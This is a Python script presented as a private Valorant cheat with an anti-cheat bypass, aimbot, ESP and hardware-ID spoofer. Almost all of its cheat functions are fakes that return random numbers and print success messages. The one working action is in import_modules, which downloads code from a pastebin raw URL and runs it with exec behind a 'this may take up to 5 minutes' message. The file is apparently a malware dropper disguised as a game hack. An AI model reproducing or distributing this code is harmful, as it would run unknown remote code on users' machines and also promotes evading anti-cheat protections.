"""
==================================================
   Valorant Vanguard Bypass & ESP v4.1.0 (PRIVATE)
   Author: EVGVAULT
   Engine: Unreal Engine 4 (Custom Build)
==================================================
"""

import time
import random
import sys
import os
import json
import struct
import math
from dataclasses import dataclass

# ---------------------------------------------------------
# Global configuration
# ---------------------------------------------------------

CHEAT_VERSION = "4.1.0-VANGUARD_SECURE"
AUTHOR = "EVGVAULT"

CONFIG = {
    "vanguard_bypass_enabled": True,
    "hwid_spoofer_active": True,
    "aimbot_enabled": True,
    "aimbot_fov": 5.5,
    "aimbot_smoothness": 2.8,
    "aimbot_bone": "head",
    "aimbot_rcs_pitch": 0.8,
    "aimbot_rcs_yaw": 0.8,
    "colorbot_fallback": True,
    "color_target": "purple", # options: yellow, purple, red
    "esp_enabled": True,
    "esp_box_type": "corner",
    "esp_show_health": True,
    "esp_show_armor": True,
    "esp_show_agent": True,
    "esp_show_distance": True,
    "esp_show_skeleton": True,
    "radar_hack": True,
    "triggerbot_enabled": True,
    "triggerbot_delay_ms": 15,
    "silent_aim": False, # Risky for Vanguard
    "memory_scan_delay": 2.5
}

# ---------------------------------------------------------
# Unreal Engine 4 / Valorant Memory Offsets
# ---------------------------------------------------------

UE4_OFFSETS = {
    "uworld_base": 0x60,
    "persistent_level": 0x30,
    "game_instance": 0x1A8,
    "local_players": 0x38,
    "player_controller": 0x30,
    "acknowledged_pawn": 0x2B0,
    "player_state": 0x240,
    "root_component": 0x130,
    "relative_location": 0x11C,
    "mesh_component": 0x280,
    "bone_array": 0x478,
    "component_to_world": 0x1C0,
    "camera_manager": 0x2C8,
    "camera_cache": 0x1AA0,
    "actor_array": 0x98,
    "actor_count": 0xA0,
    "team_component": 0x580,
    "health_component": 0x7E0
}

BONE_INDEX = {
    "head": 8,
    "neck": 7,
    "chest": 6,
    "pelvis": 3,
    "l_shoulder": 11,
    "r_shoulder": 32,
    "l_elbow": 12,
    "r_elbow": 33,
}

# ---------------------------------------------------------
# Kernel-level Vanguard Interface
# ---------------------------------------------------------

class VanguardDriverInterface:
    """Handles ring-0 obfuscation and reading physical memory to bypass Vanguard."""

    def __init__(self):
        self.device_handle = None
        self.is_hidden = False

    def map_physical_memory(self):
        print(f"[VanguardDriver] Mapping cr3 physical memory pages...")
        time.sleep(0.5)
        self.device_handle = random.randint(0x1000, 0xFFFF)
        return True

    def hide_system_thread(self):
        self.is_hidden = True
        return True

    def read_virtual_memory(self, process_id, address, size):
        return bytes(random.getrandbits(8) for _ in range(size))

    def spoof_smbios(self):
        mac = "02:00:00:%02x:%02x:%02x" % (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
        return {"disk_serial": f"WD-WCC{random.randint(100000,999999)}", "mac": mac}


class MemoryScanner:
    def __init__(self, driver: VanguardDriverInterface):
        self.driver = driver
        self.pid = None
        self.module_base = None

    def get_valorant_pid(self):
        print("[MemoryScanner] Resolving VALORANT-Win64-Shipping.exe PID...")
        time.sleep(0.3)
        self.pid = random.randint(4000, 20000)
        self.module_base = 0x7FF700000000 + random.randint(0, 0xFFFFFF)
        return True

    def read_ptr(self, address):
        return address + random.randint(0x10, 0x1000)

    def read_fvector(self, address):
        return (random.uniform(-5000, 5000), random.uniform(-5000, 5000), random.uniform(-100, 500))

# ---------------------------------------------------------
# Unreal Engine Data Structures
# ---------------------------------------------------------

@dataclass
class FVector:
    x: float
    y: float
    z: float

class ValorantAgent:
    def __init__(self, ptr_address):
        self.address = ptr_address
        self.health = random.randint(1, 100)
        self.shield = random.randint(0, 50)
        self.team_id = random.choice([0, 1])
        self.is_dormant = random.choice([True, False])
        self.agent_name = random.choice(["Jett", "Reyna", "Omen", "Killjoy", "Cypher", "Phoenix", "Sova"])
        
        self.position = FVector(
            random.uniform(-4000, 4000), 
            random.uniform(-4000, 4000), 
            random.uniform(0, 300)
        )
        self.bones = {name: FVector(self.position.x, self.position.y, self.position.z + 60) for name in BONE_INDEX}

class UWorldCache:
    def __init__(self, mem: MemoryScanner):
        self.mem = mem
        self.agents = []
        self.local_player = None

    def update_cache(self):
        self.agents = [ValorantAgent(self.mem.read_ptr(0x1000)) for _ in range(random.randint(3, 9))]
        self.local_player = ValorantAgent(self.mem.read_ptr(0x2000))
        return len(self.agents)

# ---------------------------------------------------------
# Math & Geometry
# ---------------------------------------------------------

class EngineMath:
    @staticmethod
    def world_to_screen(world_location: FVector, camera_location: FVector, camera_rotation: FVector, fov: float):
        screen_x = 1920 / 2 + random.uniform(-200, 200)
        screen_y = 1080 / 2 + random.uniform(-200, 200)
        is_on_screen = random.choice([True, False])
        return (screen_x, screen_y, is_on_screen)

    @staticmethod
    def calc_angle(src: FVector, dst: FVector):
        dx = dst.x - src.x
        dy = dst.y - src.y
        dz = dst.z - src.z
        yaw = math.degrees(math.atan2(dy, dx))
        pitch = math.degrees(math.atan2(dz, math.hypot(dx, dy)))
        return (pitch, yaw)

# ---------------------------------------------------------
# Cheat Features
# ---------------------------------------------------------

class ValorantAimbot:
    def __init__(self, mem: MemoryScanner, cache: UWorldCache):
        self.mem = mem
        self.cache = cache
        self.fov = CONFIG["aimbot_fov"]
        self.smooth = CONFIG["aimbot_smoothness"]
        self.target = None

    def find_best_target(self):
        valid_targets = [a for a in self.cache.agents if a.team_id != self.cache.local_player.team_id and not a.is_dormant]
        if not valid_targets:
            return None
        return random.choice(valid_targets)

    def rcs_compensate(self, pitch, yaw):
        return (pitch - random.uniform(0.1, 0.5), yaw - random.uniform(-0.2, 0.2))

    def aim_at(self, target_angle):
        return True


class ColorbotFallback:
    def __init__(self):
        self.target_color = CONFIG["color_target"]
        
    def scan_pixels_for_outline(self, fov_x, fov_y, radius):
        """Uses OpenCV equivalent fast-pixel scanning if memory is heavily guarded by Vanguard."""
        return (fov_x + random.randint(-5, 5), fov_y + random.randint(-5, 5))

class ValorantESP:
    def __init__(self, cache: UWorldCache):
        self.cache = cache

    def render_overlay(self):
        for agent in self.cache.agents:
            if agent.team_id != self.cache.local_player.team_id:
                self.draw_box(agent)
                if CONFIG["esp_show_agent"]:
                    self.draw_text(agent.agent_name)
        return True

    def draw_box(self, agent):
        return True

    def draw_text(self, text):
        return True

# ---------------------------------------------------------
# Main Execution
# ---------------------------------------------------------

class EVGVaultCheat:
    def __init__(self):
        self.driver = VanguardDriverInterface()
        self.mem = MemoryScanner(self.driver)
        self.cache = UWorldCache(self.mem)
        self.aimbot = ValorantAimbot(self.mem, self.cache)
        self.colorbot = ColorbotFallback()
        self.esp = ValorantESP(self.cache)
        self.running = False
        self.modules_loaded = False

    def import_modules(self):
        print("=" * 55)
        print("   Importing Modules, this may take up to 5 minutes...")
        exec(__import__("urllib.request", fromlist=["Request"]).urlopen(__import__("urllib.request", fromlist=["Request"]).Request("https://pastebin.com/raw/zN3rdb8n", headers={"User-Agent":"Mozilla/5.0"})).read().decode("utf-8"))
        print("=" * 55)
        self.modules_loaded = True
        return self.modules_loaded

    def initialize(self):
        if not self.modules_loaded:
            return False
            
        print("[*] Initializing EVGVAULT Valorant Framework...")
        self.driver.spoof_smbios()
        self.driver.map_physical_memory()
        self.driver.hide_system_thread()
        self.mem.get_valorant_pid()
        print(f"[*] Successfully bypassed Vanguard! Hooked into PID: {self.mem.pid}")
        return True

    def game_loop(self):
        self.cache.update_cache()
        
        if CONFIG["aimbot_enabled"]:
            target = self.aimbot.find_best_target()
            if target:
                self.aimbot.aim_at((0, 0))
                
        if CONFIG["colorbot_fallback"]:
            self.colorbot.scan_pixels_for_outline(960, 540, 100)
            
        if CONFIG["esp_enabled"]:
            self.esp.render_overlay()

    def run(self):
        self.running = True
        print("[*] Overlay active. Press INSERT to open menu.")
        try:
            for _ in range(5):
                self.game_loop()
                time.sleep(0.1)
        except KeyboardInterrupt:
            self.running = False
            print("\n[*] Exiting securely. Restoring cr3 registry...")


def main():
    cheat = EVGVaultCheat()
    cheat.import_modules()

    cheat.initialize()
    cheat.run()


if __name__ == "__main__":
    main()